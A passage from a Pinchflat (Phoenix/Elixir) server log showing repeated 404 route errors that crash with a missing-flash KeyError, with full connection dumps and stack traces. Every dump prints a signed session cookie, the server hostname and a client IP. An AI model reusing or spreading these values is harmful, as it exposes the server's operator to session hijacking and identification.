"_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163861.0>, params: %{}, path_info: ["sources", "3", "force_redownload"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], (truncated) 18:56:16.698 [error] #PID<0.163863.0> running PinchflatWeb.Endpoint (connection #PID<0.163862.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47146}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163863.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guW_P-VwyaaMAFryB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47146}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163862.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47146}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163863.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469 (truncated) 18:56:16.746 [info] GET /sources/3/force_metadata_refresh 18:56:16.746 [debug] QUERY OK source="settings" db=0.2ms idle=172.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.747 [debug] QUERY OK source="settings" db=0.1ms idle=122.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.747 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.747 [error] #PID<0.163865.0> running PinchflatWeb.Endpoint (connection #PID<0.163864.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163865.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_metadata_refresh", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guXK_NT9kmXAAFryh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163864.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47152}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163865.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, priv (truncated) 18:56:16.816 [info] GET /sources/3/force_index 18:56:16.817 [debug] QUERY OK source="settings" db=0.2ms idle=191.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.817 [debug] QUERY OK source="settings" db=0.1ms idle=119.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.817 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.817 [error] #PID<0.163867.0> running PinchflatWeb.Endpoint (connection #PID<0.163866.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_index ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163867.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "158.69.117.45"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "158.69.117.45"} ], request_path: "/sources/3/force_index", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1guXbyOH2pMyEAFrzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163866.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_index", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47156}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163867.0>, params: %{}, path_info: ["sources", "3", "force_index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469 (truncated) 18:56:16.869 [info] GET /sources/3/force_metadata_refresh 18:56:16.870 [debug] QUERY OK source="settings" db=0.4ms idle=172.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.871 [debug] QUERY OK source="settings" db=0.1ms idle=124.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:56:16.871 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 18:56:16.871 [error] #PID<0.163869.0> running PinchflatWeb.Endpoint (connection #PID<0.163868.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /sources/3/force_metadata_refresh ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/3/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.163868.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/3/force_metadata_refresh", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 47162}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "158.69.117.45", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "158.69.117.45" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.163869.0>, params: %{}, path_info: ["sources", "3", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYOEQwaVhOYm9KdUNQUmNUcmhwNTFqSUNu.nlLcfKuDiNI0jpdB19ua_rkVTNx3krsuhp5cGDFTU2Q" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", 